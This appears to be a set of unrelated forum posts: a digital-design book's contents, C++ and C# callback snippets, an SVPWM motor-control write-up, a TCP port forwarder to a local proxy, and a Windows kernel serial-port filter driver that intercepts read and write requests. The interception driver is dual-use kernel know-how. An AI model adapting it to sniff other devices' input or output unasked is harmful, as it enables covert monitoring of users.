3.2.2 D锁存器 67 3.2.3 D触发器 68 3.2.4 寄存器 68 3.2.5 带使能端的触发器 69 3.2.6 带复位功能的触发器 70 3.2.7 晶体管级的锁存器和触发器设计* 70 3.2.8 小结 71 3.3 同步逻辑设计 72 3.3.1 一些有问题的电路 72 3.3.2 同步时序电路 74 3.3.3 同步和异步电路 75 3.4 有限状态机 75 3.4.1 有限状态机设计实例 75 3.4.2 状态编码 79 3.4.3 Moore型状态机和Mealy型状态机 82 3.4.4 状态机的分解 86 3.4.5 有限状态机小结 86 3.5 时序逻辑电路的时序 87 3.5.1 动态约束 88 3.5.2 系统时序 88 3.5.3 时钟偏移* 92 3.5.4 亚稳态 94 3.5.5 同步器 95 3.5.6 分辨时间的推导* 97 3.6 并行 99 3.7 总结 101 习题 102 第4章 硬件描述语言 109 4.1 引言 109 4.1.1 模块 109 4.1.2 硬件描述语言的起源 110 4.1.3 模拟和综合 111 4.2 组合逻辑 112 4.2.1 按位操作符 112 4.2.2 注释和空格 114 4.2.3 缩减运算符 114 4.2.4 条件赋值 115 4.2.5 内部变量 117 4.2.6 优先级 119 4.2.7 数字 120 4.2.8 z和x 120 4.2.9 位混合 122 4.2.10 延迟 123 4.2.11 VHDL 库和类型* 124 4.3 结构建模 126 4.4 时序逻辑 129 4.4.1 寄存器 129 4.4.2 可复位寄存器 131 4.4.3 带使能端的寄存器 132 4.4.4 多寄存器 133 4.4.5 锁存器 134 4.5 更多组合逻辑 135 4.5.1 选择语句 137 4.5.2 if语句 141 4.5.3 Verilog的casez语句* 142 4.5.4 阻塞式和非阻塞式赋值 142 4.6 有限状态机 146 4.7 参数化模块* 152 4.8 测试程序 155 4.9 总结 161 习题 162 第5章 常见数字模块 171 5.1 引言 171 5.2 算术电路 171 5.2.1 加法 171 5.2.2 减法 176 5.2.3 比较器 177 5.2.4 算术逻辑单元 178 5.2.5 移位器和循环移位器 179 5.2.6 乘法* 180 5.2.7 除法* 181 5.2.8 深入阅读 182 5.3 数制系统 182 5.3.1 定点数系统 183 5.3.2 浮点数系统* 183 5.4 时序电路模块 186 5.4.1 计数器 186 5.4.2 移位寄存器 187 5.5 存储器阵列 190 5.5.1 概述 190 5.5.2 动态随机访问存储器 192 5.5.3 静态随机访问存储器 193 5.5.4 面积和延迟 193 5.5.5 寄存器文件 193 5.5.6 只读存储器 193 5.5.7 使用存储器阵列的逻辑 195 5.5.8 存储器的硬件描述语言 195 5.6 逻辑阵列 197 5.6.1 可编程逻辑阵列 197 5.6.2 现场可编程门阵列 198 5.6.3 阵列实现* 202 5.7 总结 203 习题 203 第6章 体系结构 210 6.1 引言 210 6.2 汇编语言 210 6.2.1 指令 211 6.2.2 操作数:寄存器、存储器和常数 212 6.3 机器语言 216 6.3.1 R-类型指令 216 6.3.2 I-类型指令 217 6.3.3 J-类型指令 218 6.3.4 解释机器语言码 218 6.3.5 程序存储 219 6.4 编程 219 6.4.1 算术/逻辑指令 220 6.4.2 分支 222 6.4.3 条件语句 224 6.4.4 循环 225 6.4.5 数组 227 6.4.6 过程调用 230 6.5 寻址方式 236 6.6 编译、汇编和加载 238 6.6.1 内存图 238 6.6.2 转换成二进制代码和开始执行 程序 239 6.7 其他主题 242 6.7.1 伪指令 242 6.7.2 异常 242 6.7.3 有符号和无符号的指令 243 6.7.4 浮点指令 244 6.8 真实世界透视:IA-32结构* 245 6.8.1 IA-32的寄存器 246 6.8.2 IA-32的操作数 246 6.8.3 状态标志 247 6.8.4 IA-32指令集 247 6.8.5 IA-32指令编码 249 6.8.6 IA-32的其他特性 249 6.8.7 小结 250 6.9 总结 250 习题 251 第7章 微结构 258 7.1 引言 258 7.1.1 体系结构状态和指令集 258 7.1.2 设计过程 258 7.1.3 MIPS微结构 259 7.2 性能分析 260 7.3 单周期处理器 261 7.3.1 单周期数据路径 261 7.3.2 单周期控制 265 7.3.3 更多指令 267 7.3.4 性能分析 269 7.4 多周期处理器 270 7.4.1 多周期数据路径 270 7.4.2 多周期控制 275 7.4.3 更多指令 281 7.4.4 性能分析 282 7.5 流水线处理器 284 7.5.1 流水线数据路径 286 7.5.2 流水线控制 288 7.5.3 冲突 288 7.5.4 更多指令 297 7.5.5 性能分析 297 7.6 硬件描述语言表示* 299 7.6.1 单周期处理器 300 7.6.2 通用模块 306 7.6.3 测试程序 309 7.7 异常* 313 7.8 高级微结构* 315 7.8.1 深流水线 316 7.8.2 分支预测 317 7.8.3 超标量处理器 318 7.8.4 乱序处理器 319 7.8.5 寄存器重命名 321 7.8.6 单指令流多数据流 322 7.8.7 多线程 323 7.8.8 多处理器 323 7.9 现实世界透视:IA-32微结构* 324 7.10 总结 328 习题 329 第8章 存储器系统 333 8.1 引言 333 8.2 存储器系统性能分析 335 8.3 高速缓存 336 8.3.1 高速缓存中存放的数据 337 8.3.2 高速缓存中的数据查找 337 8.3.3 数据的替换 343 8.3.4 高级高速缓存设计* 344 8.3.5 MIPS处理器中高速缓存的发展* 347 8.4 虚拟存储器 347 8.4.1 地址转换 349 8.4.2 页表 350 8.4.3 地址转换后备缓冲 351 8.4.4 存储器保护 352 8.4.5 替换策略* 352 8.4.6 多级页表* 352 8.5 内存映射I/O* 354 8.6 现实世界透视:IA-32存储器和 I/O系统* 357 8.6.1 IA-32高速缓存系统 357 8.6.2 IA-32虚拟存储器 359 8.6.3 IA-32 的直接I/O编程机制 359 8.7 总结 359 习题 360 附录A 数字系统实现 365 附录B MIPS指令 391 延伸阅读材料 394


typedef struct _KEYBOARD_INPUT_DATA {        //     // Unit number.  E.g., for \Device\KeyboardPort0 the unit is '0',     // for \Device\KeyboardPort1 the unit is '1', and so on.     //        USHORT UnitId;        //     // The "make" scan code (key depression).     //        char MakeCode;        //     // The flags field indicates a "break" (key release) and other     // miscellaneous scan code information defined below.     //        USHORT Flags;        USHORT Reserved;        //     // Device-specific additional information for the event.     //        ULONG ExtraInformation;    } KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;    typedef struct _WriteDataStruct {     UINT8 Command;     UINT8 Data[]; }WriteData, *PWriteData;    typedef void(__stdcall*PUserRing0Fun)(); //C++函数指针    void UserFun() {     printf("被调用了!!!!!!!!!!!!"); }    typedef struct _ListData {     KEYBOARD_INPUT_DATA DATA;     struct _ListData *Next; }ListData, *PListData;    volatile PListData PldFirst; volatile PListData *PPldLast; //PListData *PldCurrent; void Add(PListData ld) {     (*PPldLast) = (PListData)malloc(sizeof(ListData));     (*PPldLast)->DATA.ExtraInformation = ld->DATA.ExtraInformation;     (*PPldLast)->DATA.Flags = ld->DATA.Flags;     (*PPldLast)->DATA.MakeCode = ld->DATA.MakeCode;     (*PPldLast)->DATA.Reserved = ld->DATA.Reserved;     (*PPldLast)->DATA.UnitId = ld->DATA.UnitId;     (*PPldLast)->Next = nullptr;     PPldLast = &((*PPldLast)->Next); }    void Init() {     PldFirst = nullptr;     PPldLast = &PldFirst; } volatile PListData ldNext; BOOL RemoveFirst(void) {     if (PldFirst != nullptr)     {         ldNext = (PldFirst->Next);         if (ldNext != nullptr)         {             free(PldFirst);             PldFirst = ldNext;             return TRUE;         }         else         {             free(PldFirst);             PldFirst = nullptr;             PPldLast = &PldFirst;             return FALSE;         }     }     else     {         return FALSE;     } }    int main() {     Init();     ListData ld = {0};            for (size_t i = 0; i < 3; i++)     {         ld.DATA.MakeCode = getchar();         Add(&ld);     }            std::cout << PldFirst->DATA.MakeCode;     RemoveFirst();     //while (RemoveFirst()); //注意这里,如果RemoveFirst()在while括号中的话,执行后 PldFirst指向0     {         std::cout << PldFirst->DATA.MakeCode;     }     return 0; } std::cout << PldFirst->DATA.MakeCode; while (RemoveFirst()); {     std::cout << PldFirst->DATA.MakeCode; //PldFirst指向0 } return 0; std::cout << PldFirst->DATA.MakeCode; RemoveFirst();     std::cout << PldFirst->DATA.MakeCode; //PldFirst指针正常 return 0;


感谢 米兰@acmilan 和PHP@phpskycn 的指导 C#代码 public delegate void KernelFun(); //声明委托        static void Main(string[] args)        {            KernelFun kf = fun;//委托,注意不要被释放            GC.KeepAlive(kf);//不释放kf            IntPtr funPoint = Marshal.GetFunctionPointerForDelegate(kf);//转换为函数指针            CallBack(funPoint.ToInt64(), funPoint, kf, funPoint.ToInt64().StructToBytes()); //委托传给C++调用            Console.ReadLine();        }        static void fun()        {            Console.WriteLine("被调用了");        }        static int fun(int i)        {            Console.WriteLine("被调用了{0}",i);            return i + i;        }        [DllImport("WINAPI.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]        public static extern bool CallBack(Int64 funpoint, IntPtr intptr, KernelFun kf ,byte[] funpointBuffer);//声明接口 C++ typedef void(__stdcall*Pfun)(); //C++函数指针 DLLAPI BOOL CallBack(__int64 funpoint,INT_PTR intptr, Pfun pfun,BYTE *funpointBuffer) {     Pfun fun1;     fun1 = (Pfun)(funpoint);     fun1();     fun1 = (Pfun)intptr;     fun1();     (pfun)();     __int64  int64 = *(long long*)(funpointBuffer);     fun1 = (Pfun)int64;     fun1();     fun1 = (Pfun)*(long long*)(funpointBuffer);     fun1();     return true; }



本程序来自<寒江独钓>Windows内核安全编程和<windows内核安全与驱动开发>中串口过滤一章 书中的程序绑定了串口设备0到31,而且只写了过滤发送而没有写过滤接收 程序被我修改为只过滤串口设备\Device\Serial2,而且过滤发送和接收 一般串口助手看到串口名称为COM*,但是在内核中串口设备的路径为"\Device\Serial*" 程序如下 #include "DriverEntry.h" #define DEBUG     #ifdef DEBUG     #define __asm_3 __asm int 3     #define _asm_3 __asm int 3     #else     #define __asm_3       #define _asm_3       #endif    #endif    PDEVICE_OBJECT fltobj = NULL; //过滤设备 PDEVICE_OBJECT nextobj = NULL; //真实设备 //驱动程序是从DriverEntry开始执行的 NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,//pDriverObject指向本驱动的驱动对象指针     IN PUNICODE_STRING pRegistryPath)//本驱动所在的注册表路径 {     _asm_3;//中断     NTSTATUS status = 0;//初始化一个状态     UNICODE_STRING Name;//驱动与设备名            pDriverObject->DriverUnload = DriverUnload;//驱动卸载时候调用的派遣函数     for (size_t i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)     {         pDriverObject->MajorFunction<i> = Device_General;//Device_General处理除了读,写,电源事件     }     pDriverObject->MajorFunction[IRP_MJ_READ] = Device_Read;//串口接收时会调用这个派遣函数     pDriverObject->MajorFunction[IRP_MJ_WRITE] = Device_Write;//串口发送时会调用这个派遣函数     pDriverObject->MajorFunction[IRP_MJ_POWER] = Device_Power;              PFILE_OBJECT fileobj = NULL;  //文件指针     PDEVICE_OBJECT devobj = NULL; //串口设备     RtlInitUnicodeString(&Name, L"\\Device\\Serial2");//串口设备路径        status = IoGetDeviceObjectPointer(&Name, //打开串口设备\\Device\\Serial2         FILE_ALL_ACCESS, //全部读写权限         &fileobj,//无用的文件对象指针         &devobj);//打开串口        if (!NT_SUCCESS(status)) //如果返回的状态是错误的     {         _asm_3;     //中断         return status;//返回驱动加载错误     }     ObDereferenceObject(fileobj);//返回状态为成功立即释放无用的文件对象指针        ccpAttachDevice( //创建一个过滤设备并附加到串口设备\\Device\\Serial2上         pDriverObject,//DriverEntry传进来的本驱动的驱动对象         devobj,//串口设备\\Device\\Serial2         &fltobj,//过滤设备         &nextobj);//真实设备            return STATUS_SUCCESS; }    NTSTATUS ccpAttachDevice(    //创建一个过滤设备并附加到串口设备上 PDRIVER_OBJECT Driver,  //DriverEntry传入 PDEVICE_OBJECT oldobj,  //源设备 PDEVICE_OBJECT *fltobj, //创建的过滤设备 PDEVICE_OBJECT *next)   //真事的设备 {        NTSTATUS status = 0;     PDRIVER_OBJECT topDev = NULL;            status = IoCreateDevice( //创建一个过滤设备         Driver,     //DriverEntry传入         0,          //设备扩展         NULL,       //过滤设备不需要名称         oldobj->DeviceType,//设备类型         0,          //设备特征         FALSE,      //是否独占         fltobj      //创建好的过滤设备         );     if (!NT_SUCCESS(status)) //如果错误     {         fltobj = NULL;         DbgPrint("%s第%s行发生错误",__FILE__,__LINE__);         return status;     }        //拷贝标记位     //内存传输策略     if (oldobj->Flags & DO_BUFFERED_IO) (*fltobj)->Flags |= DO_BUFFERED_IO;     if (oldobj->Flags & DO_DIRECT_IO) (*fltobj)->Flags |= DO_DIRECT_IO;     if (oldobj->Flags & DO_BUFFERED_IO) (*fltobj)->Flags |= DO_BUFFERED_IO;        if (oldobj->Characteristics & FILE_DEVICE_SECURE_OPEN)         (*fltobj)->Characteristics |= FILE_DEVICE_SECURE_OPEN;     (*fltobj)->Flags |= DO_POWER_PAGABLE;        status = IoAttachDeviceToDeviceStackSafe(*fltobj, oldobj, &topDev); //把创建好的过滤设备附加到串口设备     if ((!NT_SUCCESS(status)) || (topDev == NULL))//如果失败了     {         IoDeleteDevice(*fltobj);//删除创建的过滤设备         *fltobj = NULL;         return status;     }     //此时fltobj是创建好并且附加成功的过滤设备     *next = topDev;//设备栈最下面的真实设备        (*fltobj)->Flags = (*fltobj)->Flags & ~DO_DEVICE_INITIALIZING;     return status; }    NTSTATUS Device_Read(//读 //如果这个派遣函数被调用了说明单片机往计算机发送了数据     _In_ struct _DEVICE_OBJECT *DeviceObject,     _Inout_ struct _IRP *Irp) {     _asm_3            PIO_STACK_LOCATION Irpsp = IoGetCurrentIrpStackLocation(Irp);         NTSTATUS stayus = Device_General(DeviceObject, Irp);//从真实设备读取数据         //此时单片机发往计算机的数据在Irp->AssociatedIrp->SystemBuffer中         //数据的长度在Irp->IoStatusInformation中         return stayus; }    NTSTATUS Device_Write(//写 //如果这个派遣函数被调用了说明计算机往单片机发送了数据     _In_ struct _DEVICE_OBJECT *DeviceObject,     _Inout_ struct _IRP *Irp) {     //此时计算机发出的数据在Irp->AssociatedIrp->SystemBuffer中     PIO_STACK_LOCATION Irpsp = IoGetCurrentIrpStackLocation(Irp);     //数据长度在Irps->Parameters.Write.Length中     _asm_3         return  Device_General(DeviceObject, Irp); }    NTSTATUS Device_General(//通用处理     _In_ struct _DEVICE_OBJECT *DeviceObject,     _Inout_ struct _IRP *Irp) {     //_asm_3;     IoSkipCurrentIrpStackLocation(Irp);//跳过当前栈空间     return IoCallDriver(nextobj, Irp);  //将请求发送给真实的设备 } NTSTATUS Device_Power(//Power处理     _In_ struct _DEVICE_OBJECT *DeviceObject,     _Inout_ struct _IRP *Irp) {     //_asm_3;     PoStartNextPowerIrp(Irp);     IoSkipCurrentIrpStackLocation(Irp);//跳过当前栈空间     return PoCallDriver(nextobj, Irp);  //将请求发送给真实的设备 }             VOID DriverUnload(PDRIVER_OBJECT driver) {     //_asm_3;     if (nextobj != NULL)         IoDetachDevice(nextobj); //解除引用        if (fltobj != NULL)         IoDeleteDevice(fltobj); //删除过滤设备     DbgPrint("%s%d卸载完毕", __FILE__, __LINE__); }    NTSTATUS Device_Conteol(//设备控制 _In_ struct _DEVICE_OBJECT *DeviceObject, _Inout_ struct _IRP *Irp) {     //_asm_3            return 0; }</i>



本帖最后由 张静茹 于 2014-3-4 15:26 编辑 svpwm开环控制永磁同步伺服电机,注意是SVPWM,虽然安装编码器但是未闭环,因为不会FOC,vvvf,数学硬伤。。。。。。求大神93,和做过电机控制的人 关于svpwm算法,目前有两种能运行的svpwm算法,从TI的DSP例程中抄的,计算速度慢 有浮点计算 除法等,速度较慢,从stm32 2.0电机库中抄的定点程序,速度非常快是dsp例程的十多倍, 视频 点击此处查看视频 以前的电机帖子 http://bbs.kechuang.org/read-kc-tid-64043-1-1.html svpwm调试波形帖子 http://bbs.kechuang.org/read-kc-tid-63892-1-1.html SVPWM的主要思想是以三相对称正弦波电压供电时三相对称电动机定子理想磁链圆为参考标准,以三相逆变器不同开关模式作适当的切换,从而形成PWM波,以所形成的实际磁链矢量来追踪其准确磁链圆。传统的SPWM方法从电源的角度出发,以生成一个可调频调压的正弦波电源,而SVPWM方法将逆变系统和异步电机看作一个整体来考虑,模型比较简单,也便于微处理器的实时控制。 普通的三相全桥是由六个开关器件构成的三个半桥。这六个开关器件组合起来(同一个桥臂的上下半桥的信号相反)共有8种安全的开关状态. 其中000、111(这里是表示三个上桥臂的开关状态)这两种开关状态在电机驱动中都不会产生有效的电流。因此称其为零矢量。另外6种开关状态分别是六个有效矢量。它们将360度的电压空间分为60度一个扇区,共六个扇区,利用这六个基本有效矢量和两个零量,可以合成360度内的任何矢量。 当要合成某一矢量时先将这一矢量分解到离它最近的两个基本矢量,而后用这两个基本矢量去表示,而每个基本矢量的作用大小就利用作用时间长短去代表。用电压矢量按照不同的时间比例去合成所需要的电压矢量。从而保证生成电压波形近似于正弦波。 在变频电机驱动时,矢量方向是连续变化的,因此我们需要不断的计算矢量作用时间。为了计算机处理的方便,在合成时一般是定时器计算(如每0.1ms计算一次)。这样我们只要算出在0.1ms内两个基本矢量作用的时间就可以了。由于计算出的两个时间的总合可能并不是0.1ms(比这小),而那剩下的时间就按情况插入合适零矢量。 由于在这样的处量时,合成的驱动波形和PWM很类似。因此我们还叫它PWM,又因这种PWM是基于电压空间矢量去合成的,所以就叫它SVPWM了。 SVPWM与PWM、SPWM的比较 PWM:脉冲宽度调制(PWM),晶闸管工作在开关状态,晶闸管被触发导通时,电源电压加到电动机上;晶闸管关断时,直流电源与电动机断开;这样通过改变晶闸管的导通时间(即调占空比ton)就可以调节电机电压,从而进行调速。 对比SVPWM的产生原理可知,SVPWM本身的产生原理与PWM没有任何关系,只是形似。 SPWM:正弦波脉宽调制,将正弦半波N等分,把每一等分的正弦曲线与横轴所包围的面积用一个与此面积相等的等高矩形脉冲来替代。三角波载波信号Ut与一组三相对称的正弦参考电压信号Ura、Urb、Urc比较后,产生的SPWM脉冲序列波Uda 、Udb、Udc作为逆变器功率开关器件的驱动控制信号。逆变器输出电压的基波正是调制时所要求的正弦波,调节正弦波参考信号的幅值和频率就可以调节SPWM逆变器输出电压的幅值和频率。 SVPWM与SPWM的原理和来源有很大不同,但是他们确实殊途同归的。SPWM由三角波与正弦波调制而成,而SVPWM却可以看作由三角波与有一定三次谐波含量的正弦基波调制而成,这点可以从数学上证明。 SVPWM的主要特点有: 1.在每个小区间虽有多次开关切换,但每次开关切换只涉及一个器件,所以开关损耗小。 2.利用电压空间矢量直接生成三相PWM波,计算简单。 3.逆变器输出线电压基波最大值为直流侧电压,比一般的SPWM逆变器输出电压高15%




C# 端口转发软件 用途自己想,与我无关 static void Main(string[] args) {     TcpListene = new TcpListener(IPAddress.Parse("192.168.1.101"), 8790);//手机用的IP和端口 IP是你的电脑网卡的IP 端口随意     TcpListene.Start();//开始监听     new Task(() =>     {         while (true)         {             NewClient(TcpListene.AcceptTcpClient());//新客户端接入         }     }).Start(); } void NewClient(TcpClient BrowseService)//新客户端接入 {     TcpClient AgencyClient = new TcpClient();//链接到蓝灯代理服务器     AgencyClient.Connect(IPAddress.Parse("127.0.0.1"), 8787);//蓝灯默认开放8787端口     var BrowserStream = BrowseService.GetStream();     var AgencyStream = AgencyClient.GetStream();     new Task(() =>     {         byte[] buffer = new byte[64];         int count = 0;         while ((count = BrowserStream.Read(buffer, 0, buffer.Length)) != 0)         {             try { AgencyStream.Write(buffer, 0, count); }//浏览器来的数据发给蓝灯             catch (Exception) { break; }             //Console.WriteLine(string.Format("Beowser -> Agency:{0}", Encoding.Default.GetString(buffer,0,count)));//监视通信数据         }         BrowserStream.Close();     }).Start();     new Task(() =>     {         byte[] buffer = new byte[64];         int count = 0;         while ((count = AgencyStream.Read(buffer, 0, buffer.Length)) != 0)         {             try { BrowserStream.Write(buffer, 0, count); }//蓝灯来的的数据发给浏览器             catch (Exception) { break; }             //Console.WriteLine(string.Format("Agency -> Beowser:{0}", Encoding.Default.GetString(buffer, 0, count)));//监视通信数据         }         AgencyStream.Close();     }).Start(); }



nkc production Server  https://github.com/kccd/nkc

科创研究院 (c)2005-2016

蜀ICP备11004945号-2 川公网安备51010802000058号